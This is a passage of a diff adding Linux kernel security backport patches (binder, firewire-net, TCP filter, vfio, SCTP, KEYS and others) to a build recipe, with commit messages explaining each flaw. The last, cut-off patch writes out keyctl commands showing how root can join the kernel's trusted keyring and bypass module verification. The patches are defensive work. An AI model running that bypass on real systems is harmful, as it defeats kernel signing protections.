+0100 +Subject: [PATCH] Android: binder: check set_context_mgr permission on time. + +Bug: 32394425 +Change-Id: I860c6aab97850bff05a56e96cd3f4b41691bfd96 +Signed-off-by: Martijn Coenen +--- + drivers/staging/android/binder.c | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +diff --git a/drivers/staging/android/binder.c b/drivers/staging/android/binder.c +index ad902dbac8fa5..56f9713de523c 100644 +--- a/drivers/staging/android/binder.c ++++ b/drivers/staging/android/binder.c +@@ -2784,6 +2784,9 @@ static int binder_ioctl_set_ctx_mgr(struct file *filp) + ret = -EBUSY; + goto out; + } ++ ret = security_binder_set_context_mgr(proc->tsk); ++ if (ret < 0) ++ goto out; + if (uid_valid(binder_context_mgr_uid)) { + if (!uid_eq(binder_context_mgr_uid, curr_euid)) { + pr_err("BINDER_SET_CONTEXT_MGR bad uid %d != %d\n", +@@ -2849,9 +2852,6 @@ static long binder_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) + ret = binder_ioctl_set_ctx_mgr(filp); + if (ret) + goto err; +- ret = security_binder_set_context_mgr(proc->tsk); +- if (ret < 0) +- goto err; + break; + case BINDER_THREAD_EXIT: + binder_debug(BINDER_DEBUG_THREADS, "%d:%d exit\n", diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0149.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0149.diff new file mode 100644 index 0000000..1bde6a9 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0149.diff @@ -0,0 +1,13 @@ +diff --git a/arch/x86/kvm/emulate.c b/arch/x86/kvm/emulate.c +index c89ed86..ffa1c05 100644 +--- a/arch/x86/kvm/emulate.c ++++ b/arch/x86/kvm/emulate.c +@@ -4641,7 +4641,7 @@ + /* Decode and fetch the destination operand: register or memory. */ + rc = decode_operand(ctxt, &ctxt->dst, (ctxt->d >> DstShift) & OpMask); + +- if (ctxt->rip_relative) ++ if (ctxt->rip_relative && likely(ctxt->memopp)) + ctxt->memopp->addr.mem.ea += ctxt->_eip; + + done: diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0150-dff462fc98d6-firewire net guard against rx buffer overflows.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0150-dff462fc98d6-firewire net guard against rx buffer overflows.patch new file mode 100644 index 0000000..6f80111 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0150-dff462fc98d6-firewire net guard against rx buffer overflows.patch @@ -0,0 +1,134 @@ +From dff462fc98d649a51557491d02f5c16f2127970b Mon Sep 17 00:00:00 2001 +From: Stefan Richter +Date: Sat, 29 Oct 2016 21:28:18 +0200 +Subject: firewire: net: guard against rx buffer overflows + +[ Upstream commit 667121ace9dbafb368618dbabcf07901c962ddac ] + +The IP-over-1394 driver firewire-net lacked input validation when +handling incoming fragmented datagrams. A maliciously formed fragment +with a respectively large datagram_offset would cause a memcpy past the +datagram buffer. + +So, drop any packets carrying a fragment with offset + length larger +than datagram_size. + +In addition, ensure that + - GASP header, unfragmented encapsulation header, or fragment + encapsulation header actually exists before we access it, + - the encapsulated datagram or fragment is of nonzero size. + +Reported-by: Eyal Itkin +Reviewed-by: Eyal Itkin +Fixes: CVE 2016-8633 +Cc: stable@vger.kernel.org +Signed-off-by: Stefan Richter +Signed-off-by: Sasha Levin +--- + drivers/firewire/net.c | 51 ++++++++++++++++++++++++++++++++++---------------- + 1 file changed, 35 insertions(+), 16 deletions(-) + +diff --git a/drivers/firewire/net.c b/drivers/firewire/net.c +index 2c68da1ceeee..a5cbfd1a6ee5 100644 +--- a/drivers/firewire/net.c ++++ b/drivers/firewire/net.c +@@ -591,6 +591,9 @@ static int fwnet_incoming_packet(struct fwnet_device *dev, __be32 *buf, int len, + int retval; + u16 ether_type; + ++ if (len <= RFC2374_UNFRAG_HDR_SIZE) ++ return 0; ++ + hdr.w0 = be32_to_cpu(buf[0]); + lf = fwnet_get_hdr_lf(&hdr); + if (lf == RFC2374_HDR_UNFRAG) { +@@ -615,7 +618,12 @@ static int fwnet_incoming_packet(struct fwnet_device *dev, __be32 *buf, int len, + return fwnet_finish_incoming_packet(net, skb, source_node_id, + is_broadcast, ether_type); + } ++ + /* A datagram fragment has been received, now the fun begins. */ ++ ++ if (len <= RFC2374_FRAG_HDR_SIZE) ++ return 0; ++ + hdr.w1 = ntohl(buf[1]); + buf += 2; + len -= RFC2374_FRAG_HDR_SIZE; +@@ -629,6 +637,9 @@ static int fwnet_incoming_packet(struct fwnet_device *dev, __be32 *buf, int len, + datagram_label = fwnet_get_hdr_dgl(&hdr); + dg_size = fwnet_get_hdr_dg_size(&hdr); /* ??? + 1 */ + ++ if (fg_off + len > dg_size) ++ return 0; ++ + spin_lock_irqsave(&dev->lock, flags); + + peer = fwnet_peer_find_by_node_id(dev, source_node_id, generation); +@@ -735,6 +746,22 @@ static void fwnet_receive_packet(struct fw_card *card, struct fw_request *r, + fw_send_response(card, r, rcode); + } + ++static int gasp_source_id(__be32 *p) ++{ ++ return be32_to_cpu(p[0]) >> 16; ++} ++ ++static u32 gasp_specifier_id(__be32 *p) ++{ ++ return (be32_to_cpu(p[0]) & 0xffff) << 8 | ++ (be32_to_cpu(p[1]) & 0xff000000) >> 24; ++} ++ ++static u32 gasp_version(__be32 *p) ++{ ++ return be32_to_cpu(p[1]) & 0xffffff; ++} ++ + static void fwnet_receive_broadcast(struct fw_iso_context *context, + u32 cycle, size_t header_length, void *header, void *data) + { +@@ -744,9 +771,6 @@ static void fwnet_receive_broadcast(struct fw_iso_context *context, + __be32 *buf_ptr; + int retval; + u32 length; +- u16 source_node_id; +- u32 specifier_id; +- u32 ver; + unsigned long offset; + unsigned long flags; + +@@ -763,22 +787,17 @@ static void fwnet_receive_broadcast(struct fw_iso_context *context, + + spin_unlock_irqrestore(&dev->lock, flags); + +- specifier_id = (be32_to_cpu(buf_ptr[0]) & 0xffff) << 8 +- | (be32_to_cpu(buf_ptr[1]) & 0xff000000) >> 24; +- ver = be32_to_cpu(buf_ptr[1]) & 0xffffff; +- source_node_id = be32_to_cpu(buf_ptr[0]) >> 16; +- +- if (specifier_id == IANA_SPECIFIER_ID && +- (ver == RFC2734_SW_VERSION ++ if (length > IEEE1394_GASP_HDR_SIZE && ++ gasp_specifier_id(buf_ptr) == IANA_SPECIFIER_ID && ++ (gasp_version(buf_ptr) == RFC2734_SW_VERSION + #if IS_ENABLED(CONFIG_IPV6) +- || ver == RFC3146_SW_VERSION ++ || gasp_version(buf_ptr) == RFC3146_SW_VERSION + #endif +- )) { +- buf_ptr += 2; +- length -= IEEE1394_GASP_HDR_SIZE; +- fwnet_incoming_packet(dev, buf_ptr, length, source_node_id, ++ )) ++ fwnet_incoming_packet(dev, buf_ptr + 2, ++ length - IEEE1394_GASP_HDR_SIZE, ++ gasp_source_id(buf_ptr), + context->card->generation, true); +- } + + packet.payload_length = dev->rcv_buffer_size; + packet.interrupt = 1; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0151.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0151.diff new file mode 100644 index 0000000..3b71940 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0151.diff @@ -0,0 +1,133 @@ +diff --git a/include/linux/filter.h b/include/linux/filter.h +index c80b1a9..954f6df 100644 +--- a/include/linux/filter.h ++++ b/include/linux/filter.h +@@ -358,7 +358,11 @@ + } + #endif /* CONFIG_DEBUG_SET_MODULE_RONX */ + +-int sk_filter(struct sock *sk, struct sk_buff *skb); ++int sk_filter_trim_cap(struct sock *sk, struct sk_buff *skb, unsigned int cap); ++static inline int sk_filter(struct sock *sk, struct sk_buff *skb) ++{ ++ return sk_filter_trim_cap(sk, skb, 1); ++} + + void bpf_prog_select_runtime(struct bpf_prog *fp); + void bpf_prog_free(struct bpf_prog *fp); +diff --git a/include/net/tcp.h b/include/net/tcp.h +index 809f6bf..fcd0de2 100644 +--- a/include/net/tcp.h ++++ b/include/net/tcp.h +@@ -1075,6 +1075,7 @@ + } + + bool tcp_prequeue(struct sock *sk, struct sk_buff *skb); ++int tcp_filter(struct sock *sk, struct sk_buff *skb); + + #undef STATE_TRACE + +diff --git a/net/core/filter.c b/net/core/filter.c +index e6cde173..905224b 100644 +--- a/net/core/filter.c ++++ b/net/core/filter.c +@@ -46,9 +46,10 @@ + #include + + /** +- * sk_filter - run a packet through a socket filter ++ * sk_filter_trim_cap - run a packet through a socket filter + * @sk: sock associated with &sk_buff + * @skb: buffer to filter ++ * @cap: limit on how short the eBPF program may trim the packet + * + * Run the filter code and then cut skb->data to correct size returned by + * SK_RUN_FILTER. If pkt_len is 0 we toss packet. If skb->len is smaller +@@ -57,7 +58,7 @@ + * be accepted or -EPERM if the packet should be tossed. + * + */ +-int sk_filter(struct sock *sk, struct sk_buff *skb) ++int sk_filter_trim_cap(struct sock *sk, struct sk_buff *skb, unsigned int cap) + { + int err; + struct sk_filter *filter; +@@ -79,13 +80,13 @@ + if (filter) { + unsigned int pkt_len = SK_RUN_FILTER(filter, skb); + +- err = pkt_len ? pskb_trim(skb, pkt_len) : -EPERM; ++ err = pkt_len ? pskb_trim(skb, max(cap, pkt_len)) : -EPERM; + } + rcu_read_unlock(); + + return err; + } +-EXPORT_SYMBOL(sk_filter); ++EXPORT_SYMBOL(sk_filter_trim_cap); + + static u64 __skb_get_pay_offset(u64 ctx, u64 a, u64 x, u64 r4, u64 r5) + { +diff --git a/net/ipv4/tcp_ipv4.c b/net/ipv4/tcp_ipv4.c +index fa60d15..9bd4162 100644 +--- a/net/ipv4/tcp_ipv4.c ++++ b/net/ipv4/tcp_ipv4.c +@@ -1597,6 +1597,21 @@ + } + EXPORT_SYMBOL(tcp_prequeue); + ++int tcp_filter(struct sock *sk, struct sk_buff *skb) ++{ ++ struct tcphdr *th = (struct tcphdr *)skb->data; ++ unsigned int eaten = skb->len; ++ int err; ++ ++ err = sk_filter_trim_cap(sk, skb, th->doff * 4); ++ if (!err) { ++ eaten -= skb->len; ++ TCP_SKB_CB(skb)->end_seq -= eaten; ++ } ++ return err; ++} ++EXPORT_SYMBOL(tcp_filter); ++ + /* + * From tcp_input.c + */ +@@ -1680,8 +1695,10 @@ + + nf_reset(skb); + +- if (sk_filter(sk, skb)) ++ if (tcp_filter(sk, skb)) + goto discard_and_relse; ++ th = (const struct tcphdr *)skb->data; ++ iph = ip_hdr(skb); + + sk_mark_napi_id(sk, skb); + skb->dev = NULL; +diff --git a/net/ipv6/tcp_ipv6.c b/net/ipv6/tcp_ipv6.c +index 0cc8036..f1c567b 100644 +--- a/net/ipv6/tcp_ipv6.c ++++ b/net/ipv6/tcp_ipv6.c +@@ -1304,7 +1304,7 @@ + if (skb->protocol == htons(ETH_P_IP)) + return tcp_v4_do_rcv(sk, skb); + +- if (sk_filter(sk, skb)) ++ if (tcp_filter(sk, skb)) + goto discard; + + /* +@@ -1500,8 +1500,10 @@ + goto discard_and_relse; + #endif + +- if (sk_filter(sk, skb)) ++ if (tcp_filter(sk, skb)) + goto discard_and_relse; ++ th = (const struct tcphdr *)skb->data; ++ hdr = ipv6_hdr(skb); + + sk_mark_napi_id(sk, skb); + skb->dev = NULL; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0152-4afa5f961792-crypto algifhash Only export and import on sockets with data.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0152-4afa5f961792-crypto algifhash Only export and import on sockets with data.patch new file mode 100644 index 0000000..7b75a58 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0152-4afa5f961792-crypto algifhash Only export and import on sockets with data.patch @@ -0,0 +1,54 @@ +From 4afa5f9617927453ac04b24b584f6c718dfb4f45 Mon Sep 17 00:00:00 2001 +From: Herbert Xu +Date: Sun, 1 Nov 2015 17:11:19 +0800 +Subject: crypto: algif_hash - Only export and import on sockets with data + +The hash_accept call fails to work on sockets that have not received +any data. For some algorithm implementations it may cause crashes. + +This patch fixes this by ensuring that we only export and import on +sockets that have received data. + +Cc: stable@vger.kernel.org +Reported-by: Harsh Jain +Signed-off-by: Herbert Xu +Tested-by: Stephan Mueller +--- + crypto/algif_hash.c | 12 ++++++++++-- + 1 file changed, 10 insertions(+), 2 deletions(-) + +diff --git a/crypto/algif_hash.c b/crypto/algif_hash.c +index 1396ad0787fc..b4c24fe3dcfb 100644 +--- a/crypto/algif_hash.c ++++ b/crypto/algif_hash.c +@@ -181,9 +181,14 @@ static int hash_accept(struct socket *sock, struct socket *newsock, int flags) + struct sock *sk2; + struct alg_sock *ask2; + struct hash_ctx *ctx2; ++ bool more; + int err; + +- err = crypto_ahash_export(req, state); ++ lock_sock(sk); ++ more = ctx->more; ++ err = more ? crypto_ahash_export(req, state) : 0; ++ release_sock(sk); ++ + if (err) + return err; + +@@ -194,7 +199,10 @@ static int hash_accept(struct socket *sock, struct socket *newsock, int flags) + sk2 = newsock->sk; + ask2 = alg_sk(sk2); + ctx2 = ask2->private; +- ctx2->more = 1; ++ ctx2->more = more; ++ ++ if (!more) ++ return err; + + err = crypto_ahash_import(&ctx2->req, state); + if (err) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0153-898ef37a73f7-vfiopci Fix integer overflows bitmask check.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0153-898ef37a73f7-vfiopci Fix integer overflows bitmask check.patch new file mode 100644 index 0000000..38c40df --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0153-898ef37a73f7-vfiopci Fix integer overflows bitmask check.patch @@ -0,0 +1,103 @@ +From 898ef37a73f7ad23cd5030d1c845d9b00da20721 Mon Sep 17 00:00:00 2001 +From: Vlad Tsyrklevich +Date: Wed, 12 Oct 2016 18:51:24 +0200 +Subject: vfio/pci: Fix integer overflows, bitmask check + +commit 05692d7005a364add85c6e25a6c4447ce08f913a upstream. + +The VFIO_DEVICE_SET_IRQS ioctl did not sufficiently sanitize +user-supplied integers, potentially allowing memory corruption. This +patch adds appropriate integer overflow checks, checks the range bounds +for VFIO_IRQ_SET_DATA_NONE, and also verifies that only single element +in the VFIO_IRQ_SET_DATA_TYPE_MASK bitmask is set. +VFIO_IRQ_SET_ACTION_TYPE_MASK is already correctly checked later in +vfio_pci_set_irqs_ioctl(). + +Furthermore, a kzalloc is changed to a kcalloc because the use of a +kzalloc with an integer multiplication allowed an integer overflow +condition to be reached without this patch. kcalloc checks for overflow +and should prevent a similar occurrence. + +Signed-off-by: Vlad Tsyrklevich +Signed-off-by: Alex Williamson +Cc: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + drivers/vfio/pci/vfio_pci.c | 33 +++++++++++++++++++++------------ + drivers/vfio/pci/vfio_pci_intrs.c | 2 +- + 2 files changed, 22 insertions(+), 13 deletions(-) + +diff --git a/drivers/vfio/pci/vfio_pci.c b/drivers/vfio/pci/vfio_pci.c +index bc7bc4e26c89..9c0b80b42500 100644 +--- a/drivers/vfio/pci/vfio_pci.c ++++ b/drivers/vfio/pci/vfio_pci.c +@@ -489,8 +489,9 @@ static long vfio_pci_ioctl(void *device_data, + + } else if (cmd == VFIO_DEVICE_SET_IRQS) { + struct vfio_irq_set hdr; ++ size_t size; + u8 *data = NULL; +- int ret = 0; ++ int max, ret = 0; + + minsz = offsetofend(struct vfio_irq_set, count); + +@@ -498,23 +499,31 @@ static long vfio_pci_ioctl(void *device_data, + return -EFAULT; + + if (hdr.argsz < minsz || hdr.index >= VFIO_PCI_NUM_IRQS || ++ hdr.count >= (U32_MAX - hdr.start) || + hdr.flags & ~(VFIO_IRQ_SET_DATA_TYPE_MASK | + VFIO_IRQ_SET_ACTION_TYPE_MASK)) + return -EINVAL; + +- if (!(hdr.flags & VFIO_IRQ_SET_DATA_NONE)) { +- size_t size; +- int max = vfio_pci_get_irq_count(vdev, hdr.index); ++ max = vfio_pci_get_irq_count(vdev, hdr.index); ++ if (hdr.start >= max || hdr.start + hdr.count > max) ++ return -EINVAL; + +- if (hdr.flags & VFIO_IRQ_SET_DATA_BOOL) +- size = sizeof(uint8_t); +- else if (hdr.flags & VFIO_IRQ_SET_DATA_EVENTFD) +- size = sizeof(int32_t); +- else +- return -EINVAL; ++ switch (hdr.flags & VFIO_IRQ_SET_DATA_TYPE_MASK) { ++ case VFIO_IRQ_SET_DATA_NONE: ++ size = 0; ++ break; ++ case VFIO_IRQ_SET_DATA_BOOL: ++ size = sizeof(uint8_t); ++ break; ++ case VFIO_IRQ_SET_DATA_EVENTFD: ++ size = sizeof(int32_t); ++ break; ++ default: ++ return -EINVAL; ++ } + +- if (hdr.argsz - minsz < hdr.count * size || +- hdr.start >= max || hdr.start + hdr.count > max) ++ if (size) { ++ if (hdr.argsz - minsz < hdr.count * size) + return -EINVAL; + + data = memdup_user((void __user *)(arg + minsz), +diff --git a/drivers/vfio/pci/vfio_pci_intrs.c b/drivers/vfio/pci/vfio_pci_intrs.c +index 553212f037c3..c5417cb68ea1 100644 +--- a/drivers/vfio/pci/vfio_pci_intrs.c ++++ b/drivers/vfio/pci/vfio_pci_intrs.c +@@ -466,7 +466,7 @@ static int vfio_msi_enable(struct vfio_pci_device *vdev, int nvec, bool msix) + if (!is_irq_none(vdev)) + return -EINVAL; + +- vdev->ctx = kzalloc(nvec * sizeof(struct vfio_pci_irq_ctx), GFP_KERNEL); ++ vdev->ctx = kcalloc(nvec, sizeof(struct vfio_pci_irq_ctx), GFP_KERNEL); + if (!vdev->ctx) + return -ENOMEM; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0154-1c109fabbd51-fix minor infoleak in getuserex.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0154-1c109fabbd51-fix minor infoleak in getuserex.patch new file mode 100644 index 0000000..19a4cfc --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0154-1c109fabbd51-fix minor infoleak in getuserex.patch @@ -0,0 +1,38 @@ +From 1c109fabbd51863475cd12ac206bdd249aee35af Mon Sep 17 00:00:00 2001 +From: Al Viro +Date: Thu, 15 Sep 2016 02:35:29 +0100 +Subject: fix minor infoleak in get_user_ex() + +get_user_ex(x, ptr) should zero x on failure. It's not a lot of a leak +(at most we are leaking uninitialized 64bit value off the kernel stack, +and in a fairly constrained situation, at that), but the fix is trivial, +so... + +Cc: stable@vger.kernel.org +Signed-off-by: Al Viro +[ This sat in different branch from the uaccess fixes since mid-August ] +Signed-off-by: Linus Torvalds +--- + arch/x86/include/asm/uaccess.h | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +diff --git a/arch/x86/include/asm/uaccess.h b/arch/x86/include/asm/uaccess.h +index e3af86f58eaf..2131c4ce7d8a 100644 +--- a/arch/x86/include/asm/uaccess.h ++++ b/arch/x86/include/asm/uaccess.h +@@ -433,7 +433,11 @@ do { \ + #define __get_user_asm_ex(x, addr, itype, rtype, ltype) \ + asm volatile("1: mov"itype" %1,%"rtype"0\n" \ + "2:\n" \ +- _ASM_EXTABLE_EX(1b, 2b) \ ++ ".section .fixup,\"ax\"\n" \ ++ "3:xor"itype" %"rtype"0,%"rtype"0\n" \ ++ " jmp 2b\n" \ ++ ".previous\n" \ ++ _ASM_EXTABLE_EX(1b, 3b) \ + : ltype(x) : "m" (__m(addr))) + + #define __put_user_nocheck(x, ptr, size) \ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0155-93362fa47fe9-sysctl Drop reference added by grabheader in procsysreaddir.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0155-93362fa47fe9-sysctl Drop reference added by grabheader in procsysreaddir.patch new file mode 100644 index 0000000..b46f51c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0155-93362fa47fe9-sysctl Drop reference added by grabheader in procsysreaddir.patch @@ -0,0 +1,87 @@ +From 93362fa47fe98b62e4a34ab408c4a418432e7939 Mon Sep 17 00:00:00 2001 +From: Zhou Chengming +Date: Fri, 6 Jan 2017 09:32:32 +0800 +Subject: sysctl: Drop reference added by grab_header in proc_sys_readdir + +Fixes CVE-2016-9191, proc_sys_readdir doesn't drop reference +added by grab_header when return from !dir_emit_dots path. +It can cause any path called unregister_sysctl_table will +wait forever. + +The calltrace of CVE-2016-9191: + +[ 5535.960522] Call Trace: +[ 5535.963265] [] schedule+0x3f/0xa0 +[ 5535.968817] [] schedule_timeout+0x3db/0x6f0 +[ 5535.975346] [] ? wait_for_completion+0x45/0x130 +[ 5535.982256] [] wait_for_completion+0xc3/0x130 +[ 5535.988972] [] ? wake_up_q+0x80/0x80 +[ 5535.994804] [] drop_sysctl_table+0xc4/0xe0 +[ 5536.001227] [] drop_sysctl_table+0x77/0xe0 +[ 5536.007648] [] unregister_sysctl_table+0x4d/0xa0 +[ 5536.014654] [] unregister_sysctl_table+0x7f/0xa0 +[ 5536.021657] [] unregister_sched_domain_sysctl+0x15/0x40 +[ 5536.029344] [] partition_sched_domains+0x44/0x450 +[ 5536.036447] [] ? __mutex_unlock_slowpath+0x111/0x1f0 +[ 5536.043844] [] rebuild_sched_domains_locked+0x64/0xb0 +[ 5536.051336] [] update_flag+0x11d/0x210 +[ 5536.057373] [] ? mutex_lock_nested+0x2df/0x450 +[ 5536.064186] [] ? cpuset_css_offline+0x1b/0x60 +[ 5536.070899] [] ? trace_hardirqs_on+0xd/0x10 +[ 5536.077420] [] ? mutex_lock_nested+0x2df/0x450 +[ 5536.084234] [] ? css_killed_work_fn+0x25/0x220 +[ 5536.091049] [] cpuset_css_offline+0x35/0x60 +[ 5536.097571] [] css_killed_work_fn+0x5c/0x220 +[ 5536.104207] [] process_one_work+0x1df/0x710 +[ 5536.110736] [] ? process_one_work+0x160/0x710 +[ 5536.117461] [] worker_thread+0x12b/0x4a0 +[ 5536.123697] [] ? process_one_work+0x710/0x710 +[ 5536.130426] [] kthread+0xfe/0x120 +[ 5536.135991] [] ret_from_fork+0x1f/0x40 +[ 5536.142041] [] ? kthread_create_on_node+0x230/0x230 + +One cgroup maintainer mentioned that "cgroup is trying to offline +a cpuset css, which takes place under cgroup_mutex. The offlining +ends up trying to drain active usages of a sysctl table which apprently +is not happening." +The real reason is that proc_sys_readdir doesn't drop reference added +by grab_header when return from !dir_emit_dots path. So this cpuset +offline path will wait here forever. + +See here for details: http://www.openwall.com/lists/oss-security/2016/11/04/13 + +Fixes: f0c3b5093add ("[readdir] convert procfs") +Cc: stable@vger.kernel.org +Reported-by: CAI Qian +Tested-by: Yang Shukui +Signed-off-by: Zhou Chengming +Acked-by: Al Viro +Signed-off-by: Eric W. Biederman +--- + fs/proc/proc_sysctl.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/fs/proc/proc_sysctl.c b/fs/proc/proc_sysctl.c +index 55313d994895..d4e37acd4821 100644 +--- a/fs/proc/proc_sysctl.c ++++ b/fs/proc/proc_sysctl.c +@@ -709,7 +709,7 @@ static int proc_sys_readdir(struct file *file, struct dir_context *ctx) + ctl_dir = container_of(head, struct ctl_dir, header); + + if (!dir_emit_dots(file, ctx)) +- return 0; ++ goto out; + + pos = 2; + +@@ -719,6 +719,7 @@ static int proc_sys_readdir(struct file *file, struct dir_context *ctx) + break; + } + } ++out: + sysctl_head_finish(head); + return 0; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0156-ffdfbf56e46b-sctp validate chunk len before actually using it.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0156-ffdfbf56e46b-sctp validate chunk len before actually using it.patch new file mode 100644 index 0000000..f32cab4 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0156-ffdfbf56e46b-sctp validate chunk len before actually using it.patch @@ -0,0 +1,61 @@ +From ffdfbf56e46b2968e85cc389664ee9224f3ff049 Mon Sep 17 00:00:00 2001 +From: Marcelo Ricardo Leitner +Date: Tue, 25 Oct 2016 14:27:39 -0200 +Subject: sctp: validate chunk len before actually using it + +[ Upstream commit bf911e985d6bbaa328c20c3e05f4eb03de11fdd6 ] + +Andrey Konovalov reported that KASAN detected that SCTP was using a slab +beyond the boundaries. It was caused because when handling out of the +blue packets in function sctp_sf_ootb() it was checking the chunk len +only after already processing the first chunk, validating only for the +2nd and subsequent ones. + +The fix is to just move the check upwards so it's also validated for the +1st chunk. + +Reported-by: Andrey Konovalov +Tested-by: Andrey Konovalov +Signed-off-by: Marcelo Ricardo Leitner +Reviewed-by: Xin Long +Acked-by: Neil Horman +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Greg Kroah-Hartman +--- + net/sctp/sm_statefuns.c | 12 ++++++------ + 1 file changed, 6 insertions(+), 6 deletions(-) + +diff --git a/net/sctp/sm_statefuns.c b/net/sctp/sm_statefuns.c +index e6bb98e583fb..690a973b72b5 100644 +--- a/net/sctp/sm_statefuns.c ++++ b/net/sctp/sm_statefuns.c +@@ -3426,6 +3426,12 @@ sctp_disposition_t sctp_sf_ootb(struct net *net, + return sctp_sf_violation_chunklen(net, ep, asoc, type, arg, + commands); + ++ /* Report violation if chunk len overflows */ ++ ch_end = ((__u8 *)ch) + WORD_ROUND(ntohs(ch->length)); ++ if (ch_end > skb_tail_pointer(skb)) ++ return sctp_sf_violation_chunklen(net, ep, asoc, type, arg, ++ commands); ++ + /* Now that we know we at least have a chunk header, + * do things that are type appropriate. + */ +@@ -3457,12 +3463,6 @@ sctp_disposition_t sctp_sf_ootb(struct net *net, + } + } + +- /* Report violation if chunk len overflows */ +- ch_end = ((__u8 *)ch) + WORD_ROUND(ntohs(ch->length)); +- if (ch_end > skb_tail_pointer(skb)) +- return sctp_sf_violation_chunklen(net, ep, asoc, type, arg, +- commands); +- + ch = (sctp_chunkhdr_t *) ch_end; + } while (ch_end < skb_tail_pointer(skb)); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0157-a861b9212ab4-sgwritebsgwrite is not fit to be called under KERNELDS.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0157-a861b9212ab4-sgwritebsgwrite is not fit to be called under KERNELDS.patch new file mode 100644 index 0000000..a4ad5a6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0157-a861b9212ab4-sgwritebsgwrite is not fit to be called under KERNELDS.patch @@ -0,0 +1,51 @@ +From a861b9212ab44dc9483259b1f9376e74bae2ad37 Mon Sep 17 00:00:00 2001 +From: Al Viro +Date: Fri, 16 Dec 2016 13:42:06 -0500 +Subject: sg_write()/bsg_write() is not fit to be called under KERNEL_DS + +[ Upstream commit 128394eff343fc6d2f32172f03e24829539c5835 ] + +Both damn things interpret userland pointers embedded into the payload; +worse, they are actually traversing those. Leaving aside the bad +API design, this is very much _not_ safe to call with KERNEL_DS. +Bail out early if that happens. + +Cc: stable@vger.kernel.org +Signed-off-by: Al Viro +Signed-off-by: Sasha Levin +--- + block/bsg.c | 3 +++ + drivers/scsi/sg.c | 3 +++ + 2 files changed, 6 insertions(+) + +diff --git a/block/bsg.c b/block/bsg.c +index 276e869e686c..fc607692cfe4 100644 +--- a/block/bsg.c ++++ b/block/bsg.c +@@ -677,6 +677,9 @@ bsg_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos) + + dprintk("%s: write %Zd bytes\n", bd->name, count); + ++ if (unlikely(segment_eq(get_fs(), KERNEL_DS))) ++ return -EINVAL; ++ + bsg_set_block(bd, file); + + bytes_written = 0; +diff --git a/drivers/scsi/sg.c b/drivers/scsi/sg.c +index bc09f1d196c9..0becdb6e1ba0 100644 +--- a/drivers/scsi/sg.c ++++ b/drivers/scsi/sg.c +@@ -592,6 +592,9 @@ sg_write(struct file *filp, const char __user *buf, size_t count, loff_t * ppos) + sg_io_hdr_t *hp; + unsigned char cmnd[SG_MAX_CDB_SIZE]; + ++ if (unlikely(segment_eq(get_fs(), KERNEL_DS))) ++ return -EINVAL; ++ + if ((!(sfp = (Sg_fd *) filp->private_data)) || (!(sdp = sfp->parentdp))) + return -ENXIO; + SCSI_LOG_TIMEOUT(3, sg_printk(KERN_INFO, sdp, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0158-44c037827f0a-KEYS Disallow keyrings beginning with to be joined as session.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0158-44c037827f0a-KEYS Disallow keyrings beginning with to be joined as session.patch new file mode 100644 index 0000000..2d95acb --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0158-44c037827f0a-KEYS Disallow keyrings beginning with to be joined as session.patch @@ -0,0 +1,82 @@ +From 44c037827f0aeddbbbb323930fa3d09a7b4fffca Mon Sep 17 00:00:00 2001 +From: David Howells +Date: Tue, 18 Apr 2017 15:31:07 +0100 +Subject: KEYS: Disallow keyrings beginning with '.' to be joined as session + keyrings + +commit ee8f844e3c5a73b999edf733df1c529d6503ec2f upstream. + +This fixes CVE-2016-9604. + +Keyrings whose name begin with a '.' are special internal keyrings and so +userspace isn't allowed to create keyrings by this name to prevent +shadowing. However, the patch that added the guard didn't fix +KEYCTL_JOIN_SESSION_KEYRING. Not only can that create dot-named keyrings, +it can also subscribe to them as a session keyring if they grant SEARCH +permission to the user. + +This, for example, allows a root process to set .builtin_trusted_keys as +its session keyring, at which point it has full access because now the +possessor permissions are added. This permits root to add extra public +keys, thereby bypassing module verification. + +This also affects kexec and IMA. + +This can be tested by (as root): + + keyctl session .builtin_trusted_keys + keyctl add user a a @s + keyctl list @s + +which on my test box gives me: + + 2 keys in keyring: + 180010936: ---lswrv 0 0 asymmetric: Build time autogenerated kernel key: 